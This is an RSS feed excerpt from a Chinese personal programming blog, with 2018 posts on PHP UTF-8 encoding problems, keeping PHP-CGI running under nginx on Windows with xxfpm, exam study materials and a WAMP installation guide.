		点击编辑器的菜单：“文件”-&gt;“另存为”，可以看到当前文件的编码，确保文件编码为：UTF-8，&nbsp;<br style="margin:0px;padding:0px;" />
如果是ANSI，需要将编码改成：UTF-8。&nbsp;<br style="margin:0px;padding:0px;" />
3.PHP文件头BOM问题：&nbsp;<br style="margin:0px;padding:0px;" />
PHP文件一定不可以有BOM标签&nbsp;<br style="margin:0px;padding:0px;" />
否则，会出现session不能使用的情况，并有类似的提示：&nbsp;<br style="margin:0px;padding:0px;" />
Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent&nbsp;<br style="margin:0px;padding:0px;" />
这是因为，在执行session_start() 的时候，整个页面不能有输出，但是当由于前PHP页面存在BOM标签，&nbsp;<br style="margin:0px;padding:0px;" />
PHP把这个BOM标签当成是输出了，所以就出错了！&nbsp;<br style="margin:0px;padding:0px;" />
所以PHP页面一定要删除BOM标签&nbsp;<br style="margin:0px;padding:0px;" />
删除这个BOM标签的方法：&nbsp;<br style="margin:0px;padding:0px;" />
1.可以用Dreamweaver打开文件，并重新保存，即可以去除BOM标签！&nbsp;<br style="margin:0px;padding:0px;" />
2.可以用EditPlus打开文件，并在菜单“首选项”-&gt;“文件”-&gt;"UTF-8标识"，设置为：“总是删除签名”，&nbsp;<br style="margin:0px;padding:0px;" />
然后保存文件，即可以去除BOM标签！&nbsp;<br style="margin:0px;padding:0px;" />
4.PHP以附件形式保存文件的时候，UTF-8编码问题：&nbsp;<br style="margin:0px;padding:0px;" />
PHP以附件形式保存文件，文件名必须是GB2312编码，&nbsp;<br style="margin:0px;padding:0px;" />
否则，如果文件名中有中文的话，将是显示乱码：&nbsp;<br style="margin:0px;padding:0px;" />
如果你的PHP本身是UTF-8编码格式的文件，&nbsp;<br style="margin:0px;padding:0px;" />
需要将文件名变量由UTF-8转成GB2312：&nbsp;<br style="margin:0px;padding:0px;" />
iconv("UTF-8", "GB2312", "$filename");&nbsp;<br style="margin:0px;padding:0px;" />
<br style="margin:0px;padding:0px;" />
5.截断显示文章标题时，出现乱码或者“？”问号的问题：&nbsp;<br style="margin:0px;padding:0px;" />
一般文章标题很长的时候，会显示一部分标题，会对文章标题进行截断，&nbsp;<br style="margin:0px;padding:0px;" />
由于一个UTF-8编码格式的中文字符会占用3个字符宽度，&nbsp;<br style="margin:0px;padding:0px;" />
截取标题的时候，有时会只截取到一个中文字符的1个字符或2字符宽度，&nbsp;<br style="margin:0px;padding:0px;" />
没截取完整，将出现乱码或“？”问号的情况，&nbsp;<br style="margin:0px;padding:0px;" />
用下面的函数截取标题，就不会有问题：
	</p>
	<div style="margin:0px;padding:0px;">
		function&nbsp;get_brief_str($str, $max_length)&nbsp;<br style="margin:0px;padding:0px;" />
{&nbsp;<br style="margin:0px;padding:0px;" />
echo strlen($str) ."&lt;br&gt;";&nbsp;<br style="margin:0px;padding:0px;" />
if(strlen($str) &gt; $max_length)&nbsp;<br style="margin:0px;padding:0px;" />
{&nbsp;<br style="margin:0px;padding:0px;" />
$check_num = 0;&nbsp;<br style="margin:0px;padding:0px;" />
for($i=0; $i &lt; $max_length; $i++)&nbsp;<br style="margin:0px;padding:0px;" />
{&nbsp;<br style="margin:0px;padding:0px;" />
if&nbsp;(ord($str[$i]) &gt; 128)&nbsp;<br style="margin:0px;padding:0px;" />
$check_num++;&nbsp;<br style="margin:0px;padding:0px;" />
}&nbsp;<br style="margin:0px;padding:0px;" />
<br style="margin:0px;padding:0px;" />
if($check_num % 3 == 0)&nbsp;<br style="margin:0px;padding:0px;" />
$str = substr($str, 0, $max_length)."...";&nbsp;<br style="margin:0px;padding:0px;" />
else&nbsp;if($check_num % 3 == 1)&nbsp;<br style="margin:0px;padding:0px;" />
$str = substr($str, 0, $max_length + 2)."...";&nbsp;<br style="margin:0px;padding:0px;" />
else&nbsp;if($check_num % 3 == 2)&nbsp;<br style="margin:0px;padding:0px;" />
$str = substr($str, 0, $max_length + 1)."...";&nbsp;<br style="margin:0px;padding:0px;" />
}&nbsp;<br style="margin:0px;padding:0px;" />
return&nbsp;$str;&nbsp;<br style="margin:0px;padding:0px;" />
}&nbsp;
	</div>
	<p style="margin:10px auto;padding:0px;">
		<strong style="margin:0px;padding:0px;">三.MYSQL数据库使用UTF-8编码的问题</strong>
	</p>
	<p style="margin:10px auto;padding:0px;">
		&nbsp;
	</p>
	<p style="margin:10px auto;padding:0px;">
		1.用phpmyadmin创建数据库和数据表&nbsp;<br style="margin:0px;padding:0px;" />
创建数据库的时候，请将“整理”设置为：“utf8_general_ci”&nbsp;<br style="margin:0px;padding:0px;" />
或执行语句：
	</p>
	<div style="margin:0px;padding:0px;">
		CREATE&nbsp;DATABASE&nbsp;`dbname`&nbsp;DEFAULT&nbsp;CHARACTER&nbsp;SET&nbsp;utf8 COLLATE utf8_general_ci;&nbsp;
	</div>
	<p style="margin:10px auto;padding:0px;">
		创建数据表的时候：如果是该字段是存放中文的话，则需要将“整理”设置为：“utf8_general_ci”，
	</p>
	<p style="margin:10px auto;padding:0px;">
		如果该字段是存放英文或数字的话，默认就可以了。
	</p>
	<p style="margin:10px auto;padding:0px;">
		相应的SQL语句，例如：
	</p>
	<div style="margin:0px;padding:0px;">
		CREATE&nbsp;TABLE&nbsp;`test` (&nbsp;<br style="margin:0px;padding:0px;" />
`id`&nbsp;INT&nbsp;NOT&nbsp;NULL&nbsp;,&nbsp;<br style="margin:0px;padding:0px;" />
`name`&nbsp;VARCHAR(&nbsp;10&nbsp;)&nbsp;CHARACTER&nbsp;SET&nbsp;utf8 COLLATE utf8_general_ci&nbsp;NOT&nbsp;NULL&nbsp;,&nbsp;<br style="margin:0px;padding:0px;" />
PRIMARY&nbsp;KEY&nbsp;( `id` )&nbsp;<br style="margin:0px;padding:0px;" />
) ENGINE&nbsp;=&nbsp;MYISAM ;&nbsp;
	</div>
	<p style="margin:10px auto;padding:0px;">
		2.用PHP读写数据库
	</p>
	<p style="margin:10px auto;padding:0px;">
		在连接数据库之后：
	</p>
	<p style="margin:10px auto;padding:0px;">
		[hide]$connection = mysql_connect($host_name, $host_user, $host_pass);
	</p>
	<p style="margin:10px auto;padding:0px;">
		加入两行：
	</p>
	<p style="margin:10px auto;padding:0px;">
		mysql_query("set character set 'utf8'");//读库
	</p>
	<p style="margin:10px auto;padding:0px;">
		mysql_query("set names 'utf8'");//写库
	</p>
	<p style="margin:10px auto;padding:0px;">
		就可以正常的读写MYSQL数据库了。
	</p>
	<p style="margin:10px auto;padding:0px;">
		&nbsp;
	</p>
	<p style="margin:10px auto;padding:0px;">
		&nbsp;
	</p>
	<p style="margin:10px auto;padding:0px;">
		<strong style="margin:0px;padding:0px;">四.JS相关的UTF-8编码问题&nbsp;</strong><br style="margin:0px;padding:0px;" />
1.JS读Cookie的中文乱码问题&nbsp;<span class="s3 f12 fn" style="margin:0px;padding:0px;"><br style="margin:0px;padding:0px;" />
</span>
	</p>
	<p style="margin:10px auto;padding:0px;">
		&nbsp;
	</p>
	<blockquote class="blockquote" style="margin:0px;padding:5px 10px;background:none;border-top:none;border-right:none;border-bottom:none;border-left:5px solid #DDDDDD;border-image:initial;">
		PHP写cookie的时候需要将中文字符进行escape编码，&nbsp;<br style="margin:0px;padding:0px;" />
否则JS读到cookie中的中文字符将是乱码。&nbsp;<br style="margin:0px;padding:0px;" />
但php本身没有escape函数，我们新写一个escape函数：&nbsp;
	</blockquote>
	<div style="margin:0px;padding:0px;">
		function&nbsp;escape($str)&nbsp;<br style="margin:0px;padding:0px;" />
{&nbsp;<br style="margin:0px;padding:0px;" />
preg_match_all("/[\x80-\xff].|[\x01-\x7f]+/",$str,$r);&nbsp;<br style="margin:0px;padding:0px;" />
$ar = $r[0];&nbsp;<br style="margin:0px;padding:0px;" />
foreach($ar as $k=&gt;$v)&nbsp;<br style="margin:0px;padding:0px;" />
{&nbsp;<br style="margin:0px;padding:0px;" />
if(ord($v[0]) &lt; 128)&nbsp;<br style="margin:0px;padding:0px;" />
$ar[$k] = rawurlencode($v);&nbsp;<br style="margin:0px;padding:0px;" />
else&nbsp;<br style="margin:0px;padding:0px;" />
$ar[$k] = "%u".bin2hex(iconv("UTF-8","UCS-2",$v));&nbsp;<br style="margin:0px;padding:0px;" />
}&nbsp;<br style="margin:0px;padding:0px;" />
return&nbsp;join("",$ar);&nbsp;<br style="margin:0px;padding:0px;" />
}&nbsp;
	</div>
	<p style="margin:10px auto;padding:0px;">
		JS读cookie的时候，用unescape解码，
	</p>
	<p style="margin:10px auto;padding:0px;">
		然后就解决cookie中有中文乱码的问题了。
	</p>
	<p style="margin:10px auto;padding:0px;">
		2.外部JS文件UTF-8编码问题
	</p>
	<p style="margin:10px auto;padding:0px;">
		当一个HTML页面或则PHP页面包含一个外部的JS文件时，
	</p>
	<p style="margin:10px auto;padding:0px;">
		如果HTML页面或则PHP页面是UTF-8编码格式的文件，
	</p>
	<p style="margin:10px auto;padding:0px;">
		外部的JS文件同样要转成UTF-8的文件，
	</p>
	<p style="margin:10px auto;padding:0px;">
		否则将出现，没有包含不成功，调用函数时没有反应的情况。
	</p>
	<p style="margin:10px auto;padding:0px;">
		点击编辑器的菜单：“文件”-&gt;“另存为”，可以看到当前文件的编码，确保文件编码为：UTF-8，
	</p>
	<p style="margin:10px auto;padding:0px;">
		如果是ANSI，需要将编码改成：UTF-8。
	</p>
	<p style="margin:10px auto;padding:0px;">
		<strong style="margin:0px;padding:0px;">五.FLASH相关的UTF-8编码问题</strong>
	</p>
	<p data-find="_6" style="margin:10px auto;padding:0px;">
		FLASH内部对所有字符串，默认都是以UTF-8处理&nbsp;<br style="margin:0px;padding:0px;" />
1.FLASH读文普通本文件(txt,html)&nbsp;<br style="margin:0px;padding:0px;" />
要将文本文件的编码存为UTF-8&nbsp;<br style="margin:0px;padding:0px;" />
点击编辑器的菜单：“文件”-&gt;“另存为”，可以看到当前文件的编码，确保文件编码为：UTF-8，&nbsp;<br style="margin:0px;padding:0px;" />
如果是ANSI，需要将编码改成：UTF-8。&nbsp;<br style="margin:0px;padding:0px;" />
2.FLASH读XML文件&nbsp;<br style="margin:0px;padding:0px;" />
要将XML文件的编码存为UTF-8&nbsp;<br style="margin:0px;padding:0px;" />
点击编辑器的菜单：“文件”-&gt;“另存为”，可以看到当前文件的编码，确保文件编码为：UTF-8，&nbsp;<br style="margin:0px;padding:0px;" />
如果是ANSI，需要将编码改成：UTF-8。&nbsp;<br style="margin:0px;padding:0px;" />
在XML第1行写：&nbsp;<br style="margin:0px;padding:0px;" />
<br style="margin:0px;padding:0px;" />
3.FLASH读PHP返回数据&nbsp;<br style="margin:0px;padding:0px;" />
如果PHP编码本身是UTF-8的，直接echo就可以了&nbsp;<br style="margin:0px;padding:0px;" />
如果PHP编码本身是GB2312的，可以将PHP转存成UTF-8编码格式的文件，直接echo就可以了<br style="margin:0px;padding:0px;" />
如果PHP编码本身是GB2312的，而且不允许改文件的编码格式，&nbsp;<br style="margin:0px;padding:0px;" />
用下面的语句将字符串转换成UTF-8的编码格式&nbsp;<br style="margin:0px;padding:0px;" />
$new_str = iconv("GB2312", "UTF-8", "$str");&nbsp;<br style="margin:0px;padding:0px;" />
再echo就可以了&nbsp;<br style="margin:0px;padding:0px;" />
4.FLASH读数据库(MYSQL)的数据&nbsp;<br style="margin:0px;padding:0px;" />
FLASH要通过PHP读取数据库中的数据&nbsp;<br style="margin:0px;padding:0px;" />
PHP本身的编码不重要，关键是如果数据库的编码是GB2312的话，&nbsp;<br style="margin:0px;padding:0px;" />
需要用下面的语句将字符串转换成UTF-8的编码格式&nbsp;<br style="margin:0px;padding:0px;" />
$new_str = iconv("GB2312", "UTF-8", "$str");&nbsp;<br style="margin:0px;padding:0px;" />
<br style="margin:0px;padding:0px;" />
5.FLASH通过PHP写数据&nbsp;<br style="margin:0px;padding:0px;" />
一句话，FLASH传过来的字符串是UTF-8格式的，&nbsp;<br style="margin:0px;padding:0px;" />
要转换成相应的编码格式，再操作（写文件、写数据库、直接显示等等）&nbsp;<br style="margin:0px;padding:0px;" />
还是用iconv函数转换&nbsp;<br style="margin:0px;padding:0px;" />
6.FLASH使用本地编码(理论上不推荐使用)&nbsp;<br style="margin:0px;padding:0px;" />
如果想让FLASH不使用UTF-8编码，而是使用本地编码&nbsp;<br style="margin:0px;padding:0px;" />
对于中国大陆地区而言，本地编码是GB2312或GBK&nbsp;<br style="margin:0px;padding:0px;" />
AS程序内，可以添加以下代码：&nbsp;<br style="margin:0px;padding:0px;" />
System.useCodepage = true;&nbsp;<br style="margin:0px;padding:0px;" />
那么FLASH内所有字符都是使用GB2312的编码了&nbsp;<br style="margin:0px;padding:0px;" />
所有导入到FLASH或者从FLASH导出的数据，都应该做相应的编码转换&nbsp;<br style="margin:0px;padding:0px;" />
因为使用本地编码，会造成使用繁体中文地区的用户产生乱码，所以不推荐使用
	</p>
</div>
<div id="MySignature" style="margin:0px;padding:0px;color:#7D8B8D;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:14px;white-space:normal;background-color:#FFFFFF;">
	觉得还可以的话记的打赏哦^.^..
</div>]]></description>
	<pubDate>Tue, 11 Sep 2018 11:51:45 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=13</guid>

</item>
<item>
	<title>windows下 解决PHP-CGI 进程崩溃</title>
	<link>https://www.zuoer.xin/?post=12</link>
	<description><![CDATA[<div>
	<div>
		<p>
			PHP是世界上最好的语言，但需要PHP解析器<br />
Apache下通过mod_php.so和php相连，<br />
如果使用nginx，碰到php 需要转发给 <code>cgi</code>程序
		</p>
		<p>
			关于<a href="https://link.jianshu.com?t=https%3A%2F%2Fbaike.baidu.com%2Fitem%2Fphp-fpm%2F10256166%3Ffr%3Daladdin" target="_blank" rel="nofollow">FastCGI</a>：<br />
全称 <code>FastCGI Process Manager</code>，是一种进程管理器，管理 <code>cgi</code>，市面上有很多进程管理器，PHP-FPM就是其中一种。
		</p>
		<p>
			PHP-FPM作为进程管理器，会监听端口，默认为9000，并且监听本机，只接收127.0.0.1<br />
linux下通过 <code>netstat -nlpt|grep php-fpm</code> 查看
		</p>
		<p>
			<code>PHP-CGI</code> 是PHP自带的FastCGI管理器，缺点：
		</p>
		<ol>
			<li>
				php-cgi更改 <code>php.ini</code> 配置后需重启php-cgi才能让新的<code>php-ini</code>生效，不可以平滑重启
			</li>
			<li>
				直接杀死php-cgi进程，php就不能运行了。(PHP-FPM和Spawn-FCGI就没有这个问题，守护进程会平滑从新生成新的子进程)
			</li>
		</ol>
		<p>
			本篇只讲windows(64位)下，采用nginx，使用<code>php-cgi</code>解析<br />
默认情况下，当 <code>php-cgi</code> 处理php 达到500次，就自动关闭，即不能解析PHP(这你妹也太坑了吧！都PHP7了，这个问题 还存在)
		</p>
		<p>
			采用xxfpm，管理FastCGI进程.下载地址：<a href="https://github.com/zuoer666/php-cgi" target="_blank" rel="nofollow">https://github.com/zuoer666/php-cgi</a>，
		</p>
		<p>
			<br />
		</p>
	</div>
	<div>
		<div>
			<h2>
				<span style="font-family:&quot;">安装</span><span>xxfpm</span><span style="font-family:&quot;">管理器</span><span style="font-size:18.0pt;line-height:107%;color:windowtext;"></span> 
			</h2>
			<p style="margin-left:36.0pt;text-indent:-18.0pt;">
				<span><span>1.<span>&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><span style="font-family:宋体;">首先安装</span> <span style="font-size:10.0pt;">xxfpm.exe</span><span></span> 
			</p>
			<p style="margin-left:36.0pt;text-indent:-18.0pt;">
				<span><span>2.<span>&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><span style="font-family:宋体;">如果出现报错缺少</span><span>pthreadgc2.dll</span><span style="font-family:宋体;">，请看下面几步</span><span><br />
(1). </span><span style="font-family:宋体;">下载里找到</span> <span style="font-size:10.0pt;">pthreadGC2.dll</span><span> <br />
(2)</span> 
			</p>
			<p style="margin-left:36.0pt;">
				<span>&nbsp;<a target="_blank" href="https://zuoer.xin/content/uploadfile/201809/eeb11536663261.png" id="ematt:39"><img src="https://zuoer.xin/content/uploadfile/201809/thum-eeb11536663261.png" title="点击查看原图" alt="QQ20180911-185350@2x.png" width="355" height="460" border="0" /></a></span> 
			</p>
			<p class="MsoNormal" style="margin-left:36.0pt;">
				<span><br />
</span> 
			</p>
			<p class="MsoNormal" style="margin-left:36.0pt;">
				<span> (3). </span><span style="font-family:&quot;">将</span><span style="font-family:SimSun;">这</span><span style="font-family:&quot;">个文件复制到</span><span>C:/Windows/SysWOW64</span><span style="font-family:&quot;">目</span><span style="font-family:SimSun;">录</span><span style="font-family:&quot;">（如果系</span><span style="font-family:SimSun;">统</span><span style="font-family:&quot;">是</span><span>32</span><span style="font-family:&quot;">位的，将</span><span>dll</span><span style="font-family:&quot;">文件复制到</span><span>C:\Windows\System32</span><span style="font-family:&quot;">下）；</span><span><br />
(4). </span><span style="font-family:&quot;">然后打开</span><span>"</span><span style="font-family:&quot;">开始</span><span>-</span><span style="font-family:&quot;">运行</span><span>-</span><span style="font-family:SimSun;">输入</span><span style="font-size:10.0pt;line-height:107%;">regsvr32 pthreadgc2.dll</span><span style="font-family:&quot;">，回</span><span style="font-family:SimSun;">车</span><span style="font-family:&quot;">，如果</span><span style="font-family:SimSun;">报错</span><span style="font-family:&quot;">，用下面的方法。</span><span><br />
(5). </span><span style="font-family:&quot;">新建一个文件</span><span> </span><span style="font-size:10.0pt;line-height:107%;">registe.bat</span><span style="font-family:&quot;">，和</span><span style="font-size:10.0pt;line-height:107%;">pthreadgc2.dll</span><span style="font-family:&quot;">同目</span><span style="font-family:SimSun;">录</span><span> <span></span></span> 
			</p>
<pre class="prettyprint lang-js linenums"> @echo 开始注册

 copy pthreadgc2.dll %windir%\SysWOW64\

 regsvr32 %windir%\SysWOW64\pthreadgc2.dll /s @echo pthreadgc2.dll注册成功 @pause </pre>
<span></span><span></span> 
			<p style="margin-left:36.0pt;">
				<span>6.</span><span style="font-family:宋体;">运行</span><span style="font-size:10.0pt;">registe.bat</span><span style="font-family:宋体;">，便会完成</span><span style="font-size:10.0pt;">pthreadgc2.dll</span><span style="font-family:宋体;">注册（如果</span><span>32</span><span style="font-family:宋体;">位的系统，请将</span><span>system32</span><span style="font-family:宋体;">替换为</span><span>system32</span><span style="font-family:宋体;">）。完了就可以将这个文件删了（不是删除</span><span>windows</span><span style="font-family:宋体;">目录下哈）</span><span></span> 
			</p>
			<p style="margin-left:36.0pt;text-indent:-18.0pt;">
				<span><span>3.<span>&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><span style="font-family:宋体;">将下载的</span><span style="font-size:10.0pt;">xxfpm.exe</span><span> copy </span><span style="font-family:宋体;">到</span><span>nginx</span><span style="font-family:宋体;">目录下，</span><span></span> 
			</p>
			<p class="MsoNormal" style="margin-left:36.0pt;">
				<span></span><span></span> 
			</p>
			<p>
				<span>4.</span><span style="font-family:宋体;">需要下载</span> <span style="font-size:10.0pt;">RunHiddenConsole.exe</span><span style="font-family:宋体;">，地址</span> <span style="font-family:宋体;">链接:<a href="https://pan.baidu.com/s/1wPr9xhAT4F7JTdXhPK1BYg" target="_blank">https://pan.baidu.com/s/1wPr9xhAT4F7JTdXhPK1BYg</a>&nbsp; 密码:gcl1</span><span style="font-size:10.0pt;"></span><span> </span> 
			</p>
			<p class="MsoNormal">
				<span></span><span></span> 
			</p>
			<p>
				<span>5.</span><span style="font-family:宋体;">新建</span><span style="font-size:10.0pt;">start_nginx.bat</span>
			</p>
			<p>
<pre class="prettyprint lang-js linenums">@echo off

    REM Windows 下无效

    REM set PHP_FCGI_CHILDREN=5

    REM 每个进程处理的最大请求数，或设置为 Windows 环境变量 set PHP_FCGI_MAX_REQUESTS=1000 echo Starting PHP FastCGI...

    RunHiddenConsole C:/wnmp/nginx/xxfpm/xxfpm.exe "C:/wnmp/php/php-cgi.exe -c C:/wnmp/php/php.ini" -n 5 -i 127.0.0.1 -p 9000 echo Starting nginx...

    RunHiddenConsole C:/wnmp/nginx/nginx.exe -p C:/wnmp/nginx exit </pre>
<br />
<span style="font-size:10.0pt;"></span><span></span> 
			</p>
<span><span></span></span><span>6.</span><span style="font-family:宋体;">新建</span><span style="font-size:10.0pt;">stop_nginx.bat</span><span></span> 
<pre class="prettyprint lang-js linenums"> @echo off echo Stopping nginx...

    taskkill /F /IM nginx.exe &gt; nul echo Stopping PHP FastCGI...

    taskkill /F /IM xxfpm.exe &gt; nul exit </pre>
<span></span><span></span> 
			<p>
				<span>7.</span><span style="font-family:宋体;">现在运行</span> <span style="font-size:10.0pt;">start_nginx.bat</span><span style="font-family:宋体;">，等于同时开启</span><span>5</span><span style="font-family:宋体;">个</span><span>php-cgi</span><span style="font-family:宋体;">进程，因为我们传了参数</span><span> -n </span><span style="font-family:宋体;">为</span><span>5</span> 
			</p>
			<p>
				<span>8.</span><span style="font-family:宋体;">如果我们手动断掉一个，会发现又多出来一个，还是</span><span>5</span><span style="font-family:宋体;">个。</span><span><br />
</span><span style="font-family:宋体;">这是因为</span><span style="font-size:10.0pt;">xxfpm</span><span style="font-family:宋体;">会管理</span><span>php-cgi</span><span style="font-family:宋体;">，将其维持在</span><span>5</span><span style="font-family:宋体;">个</span><span style="font-size:10.0pt;">php-cgi</span><span style="font-family:宋体;">进程，防止</span><span>cgi</span><span style="font-family:宋体;">进程崩溃关闭。</span><span><br />
</span><span style="font-family:宋体;">还有一点注意，监听端口注意与</span><span>nginx</span><span style="font-family:宋体;">的配置文件相同。</span><span></span> 
			</p>
		</div>
	</div>
<br />
</div>]]></description>
	<pubDate>Tue, 11 Sep 2018 11:00:05 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=12</guid>

</item>
<item>
	<title>软件设计师学习资料分享</title>
	<link>https://www.zuoer.xin/?post=11</link>
	<description><![CDATA[<p>
	<span style="font-size:16px;">前两天是软考的报名时间，左耳报了软件设计师，这是我第一次参加软考。</span> 
</p>
<p>
	<span style="font-size:16px;">现在正准备考软件设计师，然后就在网上找了一份学习资料，</span><span style="font-size:16px;">个人感觉资料还不错，就想分享给大家。</span> 
</p>
<p>
	<span style="font-size:16px;"><a target="_blank" href="https://zuoer.xin/content/uploadfile/201809/6c9a1536657111.png" id="ematt:35" style="font-size:16px;white-space:normal;"><img src="https://zuoer.xin/content/uploadfile/201809/thum-6c9a1536657111.png" title="点击查看原图" alt="QQ20180911-171123@2x.png" border="0" width="420" height="282" /></a></span> 
</p>
<p>
	<span style="font-size:16px;"><a target="_blank" href="https://zuoer.xin/content/uploadfile/201809/4d7d1536657144.png" id="ematt:37"><img src="https://zuoer.xin/content/uploadfile/201809/thum-4d7d1536657144.png" title="点击查看原图" alt="QQ20180911-171202@2x.png" border="0" width="420" height="282" /></a><br />
</span> 
</p>
<p>
	<span style="font-size:16px;"><br />
</span> 
</p>
<p>
	<span style="font-size:16px;"><span style="font-size:24px;">百度云下载地址：</span><span style="font-size:24px;">链接:</span><a href="https://pan.baidu.com/s/1u_PCjtrJ1IeOwHzLlk_O0g" target="_blank"><span style="font-size:24px;">https://pan.baidu.com/s/1u_PCjtrJ1IeOwHzLlk_O0g</span></a><span style="font-size:24px;">&nbsp; 密码:a8qj</span><span style="font-size:24px;"></span><br />
</span> 
</p>
<p>
	<span style="font-size:16px;"><br />
</span> 
</p>
<p>
	<span style="font-size:16px;">可能不能一下全部转存，需要一个文件夹一个文件夹保存。</span> 
</p>
<p>
	<span style="font-size:16px;">希望大家认真学习！</span><strong><span style="font-size:16px;"></span></strong> 
</p>
<p>
	<span style="font-size:16px;"><b>欢迎关注左耳博客！<a href="https://www.zuoer.xin" target="_blank">www.zueor.xin</a></b></span> 
</p>]]></description>
	<pubDate>Tue, 11 Sep 2018 09:05:10 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=11</guid>

</item>
<item>
	<title>wamp和eclipsePHP安装配置</title>
	<link>https://www.zuoer.xin/?post=10</link>
	<description><![CDATA[<p>
	<span style="font-size:32px;">一、&nbsp;wamp安装</span> 
</p>
<p>
	<span style="font-size:16px;">1.（a）方式一：&nbsp;</span><span style="font-size:18px;"><span style="font-size:16px;"><a href="https://sourceforge.net/projects/wampserver/" target="_blank">https://sourceforge.net/projects/wampserver/</a>&nbsp;<span style="font-size:16px;white-space:normal;">点Download下载&nbsp;</span></span></span> 
</p>
<p>
	<a target="_blank" href="https://zuoer.xin/content/uploadfile/201809/59b21536291621.png" id="ematt:13"><img src="https://zuoer.xin/content/uploadfile/201809/thum-59b21536291621.png" title="点击查看原图" alt="11.png" border="0" width="420" height="205" /></a> 
</p>
<p>
	<br />
</p>
<p>
	<span style="white-space:normal;font-size:16px;"><span style="font-size:16px;white-space:normal;">1.</span>（b）方式二：百度云下载&nbsp;</span><span style="white-space:normal;font-size:16px;">链接：<a href="https://pan.baidu.com/s/1B3qhpotwqqbivpu0fMmnHQ" target="_blank">https://pan.baidu.com/s/1B3qhpotwqqbivpu0fMmnHQ</a> 密码：oavf</span> 
</p>
<p>
	<span style="font-size:16px;">2.下载完下一步下一步安装</span> 
</p>
<p>
	<br />
</p>
<p>
	<span style="font-size:18px;"></span> 
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;font-family:-apple-system, &quot;white-space:normal;background-color:#FFFFFF;">
	3、直接双击下载的安装包进行，安装后在浏览器打开localhost,出现如下图所示界面即为安装成功并且正常运行
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;font-family:-apple-system, &quot;white-space:normal;background-color:#FFFFFF;">
	<br />
</p>
<p style="white-space:normal;">
	<span style="font-size:16px;">如果提示你缺少&nbsp;</span><span style="color:#333333;font-family:&quot;white-space:normal;background-color:#FFFFFF;font-size:24px;"><a href="http://founddll.com/msvcp140-dll/msvcp140.dll" target="_blank">MSVCR110.dll</a> 文件</span> 
</p>
<br />
<p style="white-space:normal;">
	<span style="font-size:16px;">&nbsp;下载地址 ：<a href="https://pan.baidu.com/s/1abtDZtLhQ9HZm-PZpkHZYQ" target="_blank">https://pan.baidu.com/s/1abtDZtLhQ9HZm-PZpkHZYQ</a><br />
</span> 
</p>
<div>
	<br />
</div>
<p>
	<br />
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;font-family:-apple-system, &quot;white-space:normal;background-color:#FFFFFF;">
	<img src="https://img-blog.csdn.net/20170619232713723?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvYTkxMTcxMTA1NA==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center" alt="" style="box-sizing:border-box;outline:0px;max-width:100%;margin:0px;word-break:break-all;cursor:zoom-in;" /> 
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;font-family:-apple-system, &quot;white-space:normal;background-color:#FFFFFF;">
	4、选择语言
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;font-family:-apple-system, &quot;white-space:normal;background-color:#FFFFFF;">
	点击右下角出现的WAMPServer图标右键，选择语言，选择chinese
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;font-family:-apple-system, &quot;white-space:normal;background-color:#FFFFFF;">
	5、自定义网站根目录
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;font-family:-apple-system, &quot;white-space:normal;background-color:#FFFFFF;">
	（1）在F盘下面新建文件夹
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;font-family:-apple-system, &quot;white-space:normal;background-color:#FFFFFF;">
	（2）打开安装目录下配置文件Apache httpd.conf文件，使用快捷键Ctrl+F，在输入框中输入documentroot,回车搜索，将路径改为"F:\eclipsePHP\word",保存并关闭，重新启动服务器
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;font-family:-apple-system, &quot;white-space:normal;background-color:#FFFFFF;">
	<a target="_blank" href="https://zuoer.xin/content/uploadfile/201809/ba6b1536297018.png" id="ematt:29"><img src="https://zuoer.xin/content/uploadfile/201809/thum-ba6b1536297018.png" title="点击查看原图" alt="19.png" border="0" width="420" height="244" /></a> 
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;font-family:-apple-system, &quot;white-space:normal;background-color:#FFFFFF;">
	（3）同样的打开Apache下的httpd-chosts.conf，修改DocumentRoot和Directory后的地址：
</p>
<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;font-family:-apple-system, &quot;white-space:normal;background-color:#FFFFFF;">
